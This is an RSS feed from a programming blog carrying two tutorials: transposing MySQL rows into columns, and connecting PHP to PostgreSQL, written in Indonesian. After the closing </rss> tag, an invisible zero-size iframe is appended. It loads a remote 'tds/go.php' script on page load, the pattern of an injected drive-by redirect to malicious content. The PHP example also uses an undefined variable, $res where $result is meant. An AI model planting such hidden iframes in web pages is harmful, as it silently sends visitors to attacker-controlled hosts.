<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; query</title>
	<atom:link href="http://www.dijexi.com/tag/query/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>MySQL Transpose Row Into Column</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/</link>
		<comments>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 07:27:30 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/</guid>
		<description><![CDATA[Image via CrunchBase This article explain how to transpose a MySQL table from row to column. Suppose that you have a sales table per item per retail outlet per sales date like this: Then, you need to show the total sales per item per retail outlet like the following: For that case, you need to [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 210px; display: block; float: right" class="zemanta-img" jquery1247210853125="116"><a href="http://www.crunchbase.com/company/mysql"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Image representing MySQL as depicted in CrunchBase" src="http://www.crunchbase.com/assets/images/resized/0000/1681/1681v1-max-450x450.png" width="200" height="104" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://www.crunchbase.com/">CrunchBase</a></p>
</p></div>
<p>This article explain how to <a class="zem_slink" title="Transpose" href="http://en.wikipedia.org/wiki/Transpose" rel="wikipedia">transpose</a> a <a class="zem_slink" title="MySQL" href="http://www.mysql.com/" rel="homepage">MySQL</a> table from row to column. Suppose that you have a sales table per item per retail outlet per sales date like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/image3.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Original Sales Table" border="0" alt="Original Sales Table" src="http://www.dijexi.com/wp-content/uploads/2009/07/image_thumb3.png" width="504" height="165" /></a> </p>
<p>Then, you need to show the total sales per item per retail outlet like the following:</p>
<p> <span id="more-673"></span>
</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/TransposedSalesData.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The Transposed Sales Data" border="0" alt="The Transposed Sales Data" src="http://www.dijexi.com/wp-content/uploads/2009/07/TransposedSalesData_thumb.png" width="504" height="72" /></a> </p>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=mysql&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p> <!-- Adsense End -->
</p>
<p>For that case, you need to transpose the original table into the second table. Unfortunately, MySQL does not support a function for transposing row into column of a table, so we need to create a query to do so.</p>
<p>For the example above, we need a query like the following:</p>
<p>SELECT ITEM_CODE,    <br />SUM(IF(RETAIL_ID=&#8217;A',SALES,0)) AS &#8216;A&#8217;,     <br />SUM(IF(RETAIL_ID=&#8217;B',SALES,0)) AS &#8216;B&#8217;,     <br />SUM(IF(RETAIL_ID=&#8217;C',SALES,0)) AS &#8216;C&#8217;     <br />FROM RETAIL_INFO     <br />GROUP BY ITEM_CODE </p>
<p>The query above will sum the total sales for each retail outlet ID grouped by item code and shows the result on it’s own column. If you have many retail outlets, then you must create the column for each of them.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2c6b2561-8dc7-459c-a5d8-14f6389ec0b2" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/mysql" rel="tag">mysql</a>,<a href="http://technorati.com/tags/query" rel="tag">query</a>,<a href="http://technorati.com/tags/transpose" rel="tag">transpose</a></div>
</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a>     <br /><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<p>&#160;</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://blogs.securiteam.com/index.php/archives/1294">Mysql authentication bypass </a>(blogs.securiteam.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/04/19/talking-mysql-to-sphinx/">Talking MySQL to Sphinx </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/06/05/a-rule-of-thumb-for-choosing-column-order-in-indexes/">A rule of thumb for choosing column order in indexes </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/05/21/mass-killing-of-mysql-connections/">Mass killing of MySQL Connections </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/07/07/improving-innodb-recovery-time/">Improving InnoDB recovery time </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.xaprb.com/blog/2009/04/01/how-mysql-really-executes-a-query/">How MySQL really executes a query</a> (xaprb.com) </li>
</ul></div>
</p>
</p>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/48ab9ab9-29be-40f8-b40c-123a9d04103f/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=48ab9ab9-29be-40f8-b40c-123a9d04103f" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2010/01/adempiere-how-to-import-report-line-set-for-balance-sheet/" rel="bookmark">Adempiere &ndash; How to Import Report Line Set for Balance Sheet</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmysql-transpose-row-into-column%2F&amp;linkname=MySQL%20Transpose%20Row%20Into%20Column"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>PHP Connection to PostgreSQL</title>
		<link>http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/</link>
		<comments>http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:03:33 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[connection string]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[pg_connect]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[tcp ip]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/</guid>
		<description><![CDATA[Berikut ini langkah langkah yang perlu diperhatikan ketika membuat aplikasi PHP yang connect ke database PostgreSQL. Function pg_connect Langkah pertama adalah memanggil function pg_connect() untuk melakukan koneksi ke database server. $dbconn = pg_connect ($conn_string); Parameter function ini adalah connection string yang berisi definisi host, user, password, nama database yang ada di server PostgreSQL. Jika salah [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Berikut ini langkah langkah yang perlu diperhatikan ketika membuat aplikasi PHP yang connect ke database PostgreSQL.</p>
<h2>Function pg_connect</h2>
<p>Langkah pertama adalah memanggil function pg_connect() untuk melakukan koneksi ke database server.</p>
<pre style="padding-left: 30px">$dbconn = pg_connect ($conn_string);</pre>
</p>
<p><span id="more-213"></span>Parameter function ini adalah connection string yang berisi definisi host, user, password, nama database yang ada di server PostgreSQL. Jika salah satu definisi tidak digunakan maka artinya nilai default pada server tersebut yang digunakan. </p>
<p align="left"><script type="text/javascript"><!--
zone = "33";
pl = "21951";
shape = "1";
c_border = "FFFFFF";
c_background = "FFFFFF";
c_text1 = "0000FF";
c_text2 = "0000FF";
c_text3 = "000000";
c_text4 = "000000";
c_text5 = "000000";
c_text6 = "000000";
c_text8 = "0000ff";
url = "http://www.ppcindo.com";
//--></script><script type="text/javascript" src="http://www.ppcindo.com/show.js"></script></p>
<p>Beberapa contohnya adalah sbb:</p>
<p>Konek ke database yang namanya &quot;tokobaju&quot;</p>
<pre style="padding-left: 30px">$dbconn = pg_connect (&quot;dbname=tokobaju&quot;);</pre>
<p>
  <br />Konek ke database yang namanya &quot;tokobaju&quot; pada server postgresql yang ada di &quot;localhost&quot; dan port &quot;5432&quot; </p>
<p></p>
<pre style="padding-left: 30px">$dbconn2 = pg_connect (&quot;host=localhost port=5432 dbname=tokobaju&quot;);</pre>
<p>
  <br />Konek ke database yang namanya &quot;tokobaju&quot; pada komputer dengan hostname &quot;sheep&quot; dengan menggunakan username dan password: </p>
<p></p>
<pre style="padding-left: 30px; width: 509px; height: 48px">$dbconn3 = pg_connect (&quot;host=sheep port=5432 dbname=tokobaju user=lamb password=foo&quot;);</pre>
<p>
  <br />Konek ke database yang namanya &quot;test&quot; pada komputer dengan hostname &quot;sheep&quot; dengan username dan password dengan terlebih dahulu mendefinisikannya pada variabel string: </p>
<p></p>
<pre style="padding-left: 30px; width: 509px; height: 50px">$conn_string = &quot;host=sheep port=5432 dbname=test user=lamb password=bar&quot;;
$dbconn4 = pg_connect ($conn_string);</pre>
<p align="left"><script language="javascript"><!--//
var server_client_id = 1672;
var server_ad_width = 468;  
var server_ad_height = 60;
var server_ad_style = "468x60_as";
var server_code_version = "4";
var server_ad_color_border = "111111";
var server_ad_color_background = "CCCCCC";
var server_ad_color_headline = "7E8AA2";
var server_ad_color_body = "000000";
var server_ad_color_url = "666EBA";
var server_ad_keyword = "";  
var server_ad_channel = 1;
var server_publisher_channels = "";
var server_ad_random = 1;</p>
<p>//--></script><script type="text/javascript" src="http://www.adsklix.com/ads/display_ads.php">
</script></p>
<p><span style="text-decoration: underline">Catatan</span></p>
<p>PHP melakukan koneksi ke server postgres melalui TCP/IP jadi server PostgreSQL nya harus diset supaya bisa menerima koneksi via TCP/IP. Ini dilakukan dengan setting pada file postgresql.conf. Pastikan bahwa baris port sudah di uncomment:</p>
<pre style="padding-left: 30px">port = 5432</pre>
<p>
  <br />JIka koneksi juga dilakukan selain dari localhost, pastikan bahwa baris listen_address juga sudah diuncomment dan memuat daftar IP address yang diperbolehkan untuk melakukan koneksi, misalnya: </p>
<p></p>
<pre style="padding-left: 30px">listen_addresses = 'localhost'  , '192.168.0.233'</pre>
<p>
  <br />User, password , dan metoda autentikasi juga harus disetting supaya PHP berhasil konek ke PostgreSQL, ini dilakukan dengan setting file pg_hba.conf. Misalnya pada baris sbb: </p>
<p></p>
<pre>#TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD
host    all         all         127.0.0.1/32          md5</pre>
<p>yang artinya, host (komputer) dengan IP address 127.0.0.1 dapat konek ke semua database yang ada pada server dengan menggunakan semua user yang ada, dengan menggunakan metoda autentikasi MD5.</p>
<h2>Function pg_query</h2>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=postgresql&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>Selanjutnya gunakan function <strong class="methodname">pg_query</strong> ( resource connection, string query) untuk melakukan query ke database.</p>
<p>Misalnya</p>
<pre style="padding-left: 30px">$sql=&quot;select * from produk&quot;;
$res = pg_query($dbconn, $sql);</pre>
<p>Function ini memerlukan 2 parameter yaitu connection result yang dihasilkan dari function pg_connect, dan definisi SQL query. Contoh diatas melakukan query select ke tabel produk pada database yang telah dikonek melalui connection result $dbconn. Hasilnya berupa query result yang ditampung pada variabel $res.</p>
<h2>Function pg_fetch_array</h2>
<p>Setelah query berhasil dilakukan, maka selanjutnya diambil menggunakan function pg_fetch_array.</p>
<p>array <strong class="methodname">pg_fetch_array</strong> ( resource result [, int row [, int result_type]])</p>
<p>Parameter function ini adalah result query yang dihasilkan dari pg_query, dan parameter optional dimulai dari baris keberapa (defaultnya 0), dan parameter optional yang mengontrol return value function ini apakah berupa array associative (PGSQL_ASSOC) atau array field index (PGSQL_NUM) atau keduanya (PGSQL_BOTH). Defaultnya adalah PGSQL_BOTH.</p>
<p>Setiap kali dipanggil function ini mengeluarkan satu baris hasil query, sampai dengan baris tersebut habis. Jika sudah habis maka return value nya adalah FALSE.</p>
<p>Sebagai contoh:</p>
<pre style="padding-left: 30px">$row = 0; // postgres needs a row counter other dbs might not
while ($data = pg_fetch_array($res, $row))
{
    echo $data['merk'];
    echo $data['harga'].&quot;&lt;BR&gt;&quot;;
    $row++;
}</pre>
<p>Contoh diatas melakukan looping sambil memanggil function pg_fetch_array selama hasilnya ada (masih ada record) dan menampung hasilnya pada array $data.&#160; Jika masih ada, maka echo kan $data['merk'] dan $data['harga'] dimana merk dan harga adalah nama field yang ada pada tabel produk. Cara pemanggilan field disini menggunakan associative array. Bisa juga dilakukan dengan index field yaitu $data[0] dan $data[1].</p>
<h2>Contoh Program Lengkap</h2>
<p>Ini dia contoh programnya yang lengkap, diambil dari help PHP.</p>
<pre style="padding-left: 30px">&lt;?php
   $conn = pg_pconnect (&quot;dbname=tokobaju&quot;);
   if (!$conn) {
     echo &quot;An error occured.\n&quot;;
     exit;
   }

   $result = pg_query ($conn, &quot;SELECT * FROM authors&quot;);
   if (!$result) {
     echo &quot;An error occured.\n&quot;;
     exit;
   }

   $row = 0; // postgres needs a row counter other dbs might not
   while ($data = pg_fetch_array($res, $row))
   {
      echo $data['merk'];
      echo $data['harga'].&quot;&lt;BR&gt;&quot;; $row++; }
?&gt;</pre>
</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:ab5a1412-c2bb-4b0a-a2df-8c254b0c9615" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/connection+string" rel="tag">connection string</a>,<a href="http://technorati.com/tags/database" rel="tag">database</a>,<a href="http://technorati.com/tags/pg_connect" rel="tag">pg_connect</a>,<a href="http://technorati.com/tags/PHP" rel="tag">PHP</a>,<a href="http://technorati.com/tags/PostgreSQL" rel="tag">PostgreSQL</a>,<a href="http://technorati.com/tags/query" rel="tag">query</a>,<a href="http://technorati.com/tags/tcp+ip" rel="tag">tcp ip</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/" rel="bookmark">PHP Library to Connect to LDAP Server</a></li><li><a href="http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/" rel="bookmark">Koneksi MS SQL Server dengan C-Sharp</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fmeng-connect-in-php-ke-postgresql%2F&amp;linkname=PHP%20Connection%20to%20PostgreSQL"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
